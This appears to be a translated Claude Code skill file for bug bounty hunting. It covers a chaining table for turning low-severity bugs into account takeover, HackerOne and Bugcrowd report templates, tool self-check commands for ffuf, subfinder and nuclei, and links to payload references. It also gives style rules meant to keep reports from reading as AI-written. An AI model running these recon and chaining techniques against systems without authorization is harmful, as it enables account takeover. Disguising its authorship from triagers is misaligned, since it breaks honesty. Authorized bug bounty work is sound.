缺少 CSP/HSTS/安全标头,缺少 SPF/DKIM/DMARC,仅有 GraphQL 内省,未能利用有效 CVE 漏洞的横幅/版本信息泄露,非敏感页面上的点击劫持,标签页劫持,CSV 注入,没有凭据泄露 PoC 的 CORS 通配符,注销 CSRF、自我 XSS、单独的开放重定向、移动应用中的 OAuth client_secret、仅 DNS ping 的 SSRF、单独的 Host 标头注入、非关键表单缺少速率限制、注销后会话未失效、并发会话、内部 IP 泄露、混合内容、SSL 弱密码套件、单独缺少 HttpOnly/Secure Cookie 标志、失效的外部链接、预账户接管(通常如此)、密码字段启用自动完成。
N/A 会拉低你的有效性比率。信息性问题不影响比率。只提交通过 7 项问题门槛的报告。
通过漏洞链后才有效
以下低危问题在与其他问题串联后会成为有效漏洞:
| 低危问题 | + 漏洞链 | = 有效漏洞 |
|---|---|---|
| 开放重定向 | + OAuth 代码窃取 | ATO |
| 点击劫持 | + 敏感操作 + PoC | 账户操作 |
| CORS 通配符 | + 带凭据的数据泄露 | 数据窃取 |
| CSRF | + 敏感状态变更 | 账户接管 |
| 无速率限制 | + OTP 暴力破解 | ATO |
| SSRF(仅 DNS) | + 内部访问证明 | 内部网络访问 |
| Host 标头注入 | + 密码重置投毒 | ATO |
| 自我 XSS | + 登录 CSRF | 受害者账户上的存储型 XSS |
阶段 5:报告
HackerOne 报告模板
Title: [Vuln Class] in [endpoint/feature] leads to [Impact]
## Summary
[2-3 sentences: what it is, where it is, what attacker can do]
## Steps To Reproduce
1. Log in as attacker (account A)
2. Send request: [paste exact request]
3. Observe: [exact response showing the bug]
4. Confirm: [what the attacker gained]
## Supporting Material
[Screenshot / video of exploitation]
[Burp Suite request/response]
## Impact
An attacker can [specific action] resulting in [specific harm].
[Quantify if possible: "This affects all X users" or "Attacker can access Y data"]
## Severity Assessment
CVSS 3.1 Score: X.X ([Severity label])
Attack Vector: Network | Complexity: Low | Privileges: None | User Interaction: None
Bugcrowd 报告模板
Title: [Vuln] at [endpoint] -- [Impact in one line]
Bug Type: [IDOR/SSRF/XSS/etc]
Target: [URL or component]
Severity: [P1/P2/P3/P4]
Description:
[Root cause + exact location]
Reproduction:
1. [step]
2. [step]
3. [step]
Impact:
[Concrete business impact]
Fix Suggestion:
[Specific remediation]
自然表达规则(避免写得像 AI)
- 句子开头先写影响,而非漏洞名称
- 像向聪明的开发者解释一样写,不要像教科书
- 使用“我”和主动语态:“我发现……”而非“发现了一个漏洞……”
- 一个具体示例胜过三句抽象描述
- 不要使用破折号,也不要使用“全面/利用/无缝/确保”
报告标题公式
[Bug Class] in [Exact Endpoint/Feature] allows [attacker role] to [impact] [victim scope]
好的标题:
IDOR in /api/v2/invoices/{id} allows authenticated user to read any customer's invoice data
Missing auth on POST /api/admin/users allows unauthenticated attacker to create admin accounts
Stored XSS in profile bio field executes in admin panel -- allows privilege escalation
SSRF via image import URL parameter reaches AWS EC2 metadata service
Race condition in coupon redemption allows same code to be used unlimited times
不好的标题:
IDOR vulnerability found
Broken access control
XSS in user input
Security issue in API
影响陈述公式(首段)
An [attacker with X access level] can [exact action] by [method], resulting in [business harm].
This requires [prerequisites] and leaves [detection/reversibility].
提交前 60 秒检查清单
[ ] Title follows formula: [Class] in [endpoint] allows [actor] to [impact]
[ ] First sentence states exact impact in plain English
[ ] Steps to Reproduce has exact HTTP request (copy-paste ready)
[ ] Response showing the bug is included (screenshot or response body)
[ ] Two test accounts used (not just one account testing itself)
[ ] CVSS score calculated and included
[ ] Recommended fix is one sentence (not a lecture)
[ ] No typos in the endpoint path or parameter names
[ ] Report is < 600 words (triagers skim long reports)
[ ] Severity claimed matches impact described (don't overclaim)
严重程度升级措辞
如果奖金被下调,可以用以下说法回应:
| 项目方表示 | 你的回应 |
|---|---|
| “需要身份验证” | “攻击者只需要一个免费账户(无需特殊角色)” |
| “影响有限” | “会影响 [N] 位用户 / [PII 类型] / [$ 金额]” |
| “已有人报告” | “请提供报告编号。我查过了,没有找到” |
| “这是设计如此” | “请提供说明这是预期行为的文档” |
| “CVSS 评分较低” | “CVSS 未考虑业务影响,攻击者可以窃取 [X]” |
验证
运行此自检以确认工具包正常运行:
-
核心工具检查 — 验证必要的 Go 二进制文件和 Python 工具已安装:
which subfinder httpx nuclei katana ffuf dalfox gau waybackurls 2>/dev/null pip3 show arjun paramspider 2>/dev/null | grep -E '^Name:|^Version:' -
FFUF 校准测试 — 确认
-ac自动校准功能正常:ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u https://example.com/FUZZ -ac -timeout 5 2>&1 | head -5 -
Subfinder 连通性 — 验证被动数据源可访问:
subfinder -d example.com -silent -timeout 30 2>&1 | head -3 -
HackerOne API 可达性 — 确认 GraphQL 端点可访问:
curl --max-time 30 --connect-timeout 10 -s "https://hackerone.com/graphql" -o /dev/null -w "%{http_code}" && echo " PASS" || echo " FAIL" -
Semgrep 安装检查 — 确认静态分析功能可用:
semgrep --version >/dev/null 2>&1 && echo "PASS: semgrep available" || echo "FAIL: pip3 install semgrep" -
字典可用性 — 确认已克隆 SecLists:
ls /usr/share/seclists/Discovery/Web-Content/common.txt >/dev/null 2>&1 && echo "PASS: SecLists present" || echo "FAIL: git clone https://github.com/danielmiessler/SecLists.git /usr/share/seclists"
要使工具包完全正常运行,6 项测试都应通过。缺少的 Go 二进制文件可通过 go install 安装;Python 工具可通过 pip3 install 安装。
资源
漏洞赏金平台
- HackerOne Hacktivity -- 已披露的报告
- Bugcrowd Crowdstream -- 公开发现
- Intigriti Leaderboard
学习
- PortSwigger Web Academy -- 免费漏洞实验室(最佳)
- HackTricks -- 攻击技术参考
- PayloadsAllTheThings -- 载荷参考
- Solodit -- 5 万多条可搜索的审计发现(Web3)
- ProjectDiscovery Chaos -- 免费子域名数据集
字典
- SecLists -- 综合字典
- HowToHunt -- 漏洞挖掘分步指南
- DefaultCreds -- 默认凭据
载荷数据库
- XSSHunter -- 盲 XSS 检测
- interactsh -- 带外回调服务
安装(Claude Code 技能)
要将其用作 Claude Code 技能,请将此文件复制到技能目录:
# Option A: Clone the repo and link the skill
git clone https://github.com/shuvonsec/claude-bug-bounty.git ~/.claude/skills/bug-bounty
ln -s ~/.claude/skills/bug-bounty/SKILL.md ~/.claude/skills/bug-bounty/SKILL.md
# Option B: Direct copy
mkdir -p ~/.claude/skills/bug-bounty
curl --max-time 30 --connect-timeout 10 -s https://raw.githubusercontent.com/shuvonsec/claude-bug-bounty/main/SKILL.md \
-o ~/.claude/skills/bug-bounty/SKILL.md
之后,在 Claude Code 中,当你询问漏洞赏金、侦察或漏洞挖掘相关内容时,此技能会自动加载。
相关技能与调用链
bug-bounty— 当用户需要通用的漏洞赏金指导,而不是查找命令行工具的位置时使用。工作流基元:bug-bounty是协调器,并将请求路由到主题匹配的 hunt-* 技能;此技能(bb-local-toolkit)回答“此类挖掘所需的命令行工具/字典/克隆仓库在磁盘上的什么位置?”web2-recon— 当需要通过特定命令行调用执行侦察时使用。工作流基元:此技能提供本地安装路径(例如~/tools/SecretFinder/.venv/bin/activate);web2-recon则是将这些命令行路径串联起来的流水线。offensive-osint— 当需要通过命令行执行操作工具库(探测器、正则表达式、字典)时使用。工作流基元:offensive-osint提供正则表达式/探测器;此技能提供执行这些操作的本地 trufflehog/jhaddix/SecLists 克隆仓库。security-arsenal— 当需要通过命令行批量发送载荷时使用。工作流基元:security-arsenal提供载荷语法;此技能指出可用于发送载荷的 ffuf/dalfox/ghauri 安装位置。bb-methodology— 当需要将第 1 阶段(侦察)或第 3 阶段(发现)路由到命令行工具时使用。工作流基元:bb-methodology的“按阶段路由工具”表是通用的;此技能则将抽象的命令行工具名称解析为具体的本地路径。